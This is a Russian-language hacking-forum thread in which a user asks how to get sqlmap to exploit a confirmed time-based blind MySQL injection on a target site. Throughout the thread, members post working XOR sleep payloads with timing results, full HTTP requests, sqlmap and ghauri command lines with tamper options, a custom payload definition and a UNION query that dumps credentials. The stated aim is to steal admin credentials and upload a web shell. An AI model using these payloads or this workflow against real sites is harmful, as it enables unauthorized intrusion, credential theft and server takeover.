• XSS.stack #1 – первый литературный журнал от юзеров форума

XOR time based blind и SQLMAP - не работает

RavenMaster

HDD-drive
Пользователь
Регистрация
13.01.2022
Сообщения
22
Реакции
1
Нашел на тестируемом сайте SQL inj с помощью Окуня. Пытаюсь её скормить SQLMAP никак не получается. На хосте нет WAF, Claudflare и т.п.

Окунь:
Код:
Attack Details


Path Fragment input /<s>/<s>/<s>/<s>/<n>-<n>-[*]/ was set to 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

Tests performed:
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.434
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.392
0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.741
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.888
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => 3.429
0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.503
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.4

Потестил в браузере реально sleep работает

http://testsite/catalog/category/time/size/111-1111-12345/ - 200 OK
http://testsite/catalog/category/time/size/111-1111-12345'XOR(if(now()=sysdate(),sleep(1),0))XOR'/ - 200 OK Sleep 1 sec
http://testsite/catalog/category/time/size/111-1111-12345'XOR(if(now()=sysdate(),sleep(15),0))XOR'/ - 200 OK Sleep 15 sec

При не существующем id товара выводится 404 ошибка
(не правильный id 12346 вместо 12345)

Также работает

http://testsite/catalog/category/time/size/111-1111-12345'XOR(SELECT(0)FROM(SELECT(SLEEP(10)))a)XOR'/ - 200 OK sleep 10 sec

Стандартные time based payloads не работали тестил по всякому, не видет скули и всё.
Начал гуглить, нашел тут случай подобный. и взял шаблон из темы, но и с ним ничего не видит.


Код:
<test>
        <title>MySQL &gt;= 5.0.12 SINGLE QUOTES XOR time-based blind (query SLEEP)</title>
        <stype>5</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,8,9</clause>
        <where>1</where>
        <vector>%27XOR(IF([INFERENCE],SLEEP([SLEEPTIME]),0))XOR%27Z</vector>
        <request>
            <payload>%27XOR(IF(NOW()=SYSDATE(),SLEEP([SLEEPTIME]),0))XOR%27Z</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0.12</dbms_version>
        </details>
    </test>


Может кто подсказать как составить Payload для такой инъекции, опыта особо нету с sqlmap и такого рода инъекциями. Таргет могу в личку скинуть.
 
Последнее редактирование:
скинь реквест с окуня и напиши с какой командой мап запускаешь
Код:
GET /catalog/cat/cat/size/111-2222-12345'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/index.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://target/
Cookie: PHPSESSID=cbff173519c29312b0feaf796df09794;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: target
Connection: Keep-alive
Tests performed:
  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.744
  • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.4
  • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.412
  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.453
  • 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => 3.585
  • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.419
  • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.427
Код:
python3 sqlmap.py -u "http://target/catalog/cat/cat/size/111-2222-12345*" --random-agent --dbms=mysql --technique=T --batch --tamper=between,space2comment --risk=3 --level=5

По всякому игрался, не в какую не видит инъекцию
 
Последнее редактирование:
Код:
GET /catalog/cat/cat/size/111-2222-12345'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/index.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://target/
Cookie: PHPSESSID=cbff173519c29312b0feaf796df09794;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: target
Connection: Keep-alive
Tests performed:
  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.744
  • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.4
  • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.412
  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.453
  • 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => 3.585
  • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.419
  • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.427
Код:
python3 sqlmap.py -u "http://target/catalog/cat/cat/size/111-2222-12345*" --random-agent --dbms=mysql --technique=T --batch --tamper=between,space2comment --risk=3 --level=5

По всякому игрался, не в какую не видит инъекцию
 
Код:
GET /catalog/cat/cat/size/111-2222-12345'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/index.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://target/
Cookie: PHPSESSID=cbff173519c29312b0feaf796df09794;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: target
Connection: Keep-alive
Tests performed:
  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.744
  • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.4
  • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.412
  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.453
  • 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => 3.585
  • 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => 0.419
  • 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => 6.427
Код:
python3 sqlmap.py -u "http://target/catalog/cat/cat/size/111-2222-12345*" --random-agent --dbms=mysql --technique=T --batch --tamper=between,space2comment --risk=3 --level=5

По всякому игрался, не в какую не видит инъекцию
sqlmap.py -u "http://target/catalog/cat/cat/size/111-2222-12345*" --random-agent --dbms=mysql --technique=T --tamper=between --risk=3 --level=5 --hex -v 3


А лучше как вариант, взять таргет в текстовик, прописать тоже самое, только в начале -r тамперы указывать только в том случае если ты уверен что это поможет, проверить это можно через репитер/интрудер в бюрпе, в крайнем случае попробуй подняться до булеан, или ищи админку
 
xor это про ghauri. даже если и найдет мапа хор потом проблемы с получением данных будут. не насилуй свой мозг и запусти с гаури
 
xor это про ghauri. даже если и найдет мапа хор потом проблемы с получением данных будут. не насилуй свой мозг и запусти с гаури
хаури это не решение, он будет со слепой язвой трах..ся, пусть ищет другой тип уязвимости, тот же булеан и поднимает до юниона через интрудер
 
хаури это не решение, он будет со слепой язвой трах..ся, пусть ищет другой тип уязвимости, тот же булеан и поднимает до юниона через интрудер
это уместно если точно знать что в тарегете много ценного и ждать пока тайм отработает не вариант. вытащить креды админа достаточно гаури. и как по мне с админскими кредами залить вебшелл проще чем в интрудере ковыряться, имхо я обьемом беру а не точечно. мне так удобнее
 
Может кто подсказать как составить Payload для такой инъекции
там же в конементах написано
This is my suggestion, to include this payload in the /usr/share/sqlmap/data/xml/payloads/time-based.xml file.
и в добавок задай больше параметров скульмапе, очень полезные --string --prefix --suffix --code
у тебя суфикс XOR'Z ты уверен? Помоему тут --suffix="'" нужен
запусти это все дело через прокси бурпа чтоб в логере видеть все запросы, там более наглядно будет понятно в чем косяк, где и в какой момент.
 
Спасибо за ответы, буду тестить ghauri. Сразу оговорюсь, что я знаю что за CMS работает. и имя таблицы юзеров.
Давно не занимался скулями. Последний опыт работы был с ними руками и инъекции старого типа крутил на древних самописах
типа:
Код:
page_id=1'+and+1=1+unuion+1,2,3,(select+concat_ws(0x3a,user,passwd)+from+user+limit+0,1),4,5+--+

предположим, что имя таблицы:adm_users, поля id=1, login,passwd. в текущей БД.
Код:
SELECT login,passwd FROM adm_users WHERE id = 1

Как тогда может выглядеть запрос на проверку первого символа в такого типа слепой инъекции?
т.к. опыта особо нету в раскрутке современного типа скуль, может скули то и нету по факту? не пройдет запрос который нужен для получения данных. а только тестовый запрос окуня проходит.
p.s. других скуль нету, booleand based и т.д.

это уместно если точно знать что в тарегете много ценного и ждать пока тайм отработает не вариант. вытащить креды админа достаточно гаури. и как по мне с админскими кредами залить вебшелл проще чем в интрудере ковыряться, имхо я обьемом беру а не точечно. мне так удобнее
Да мне как раз нужны только креды для веб-шела. CMS знаю, таблицу знаю. даже id юзера там базовое.
Нужно лишь заставить работать софт
 
Последнее редактирование:
Спасибо за ответы, буду тестить ghauri. Сразу оговорюсь, что я знаю что за CMS работает. и имя таблицы юзеров.
Давно не занимался скулями. Последний опыт работы был с ними руками и инъекции старого типа крутил на древних самописах
типа:
Код:
page_id=1'+and+1=1+unuion+1,2,3,(select+concat_ws(0x3a,user,passwd)+from+user+limit+0,1),4,5+--+

предположим, что имя таблицы:adm_users, поля id=1, login,passwd. в текущей БД.
Код:
SELECT login,passwd FROM adm_users WHERE id = 1

Как тогда может выглядеть запрос на проверку первого символа в такого типа слепой инъекции?
т.к. опыта особо нету в раскрутке современного типа скуль, может скули то и нету по факту? не пройдет запрос который нужен для получения данных. а только тестовый запрос окуня проходит.
p.s. других скуль нету, booleand based и т.д.


Да мне как раз нужны только креды для веб-шела. CMS знаю, таблицу знаю. даже id юзера там базовое.
Нужно лишь заставить работать софт
если в окуне 100 проц и руками подтвердил то гаури найдет
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх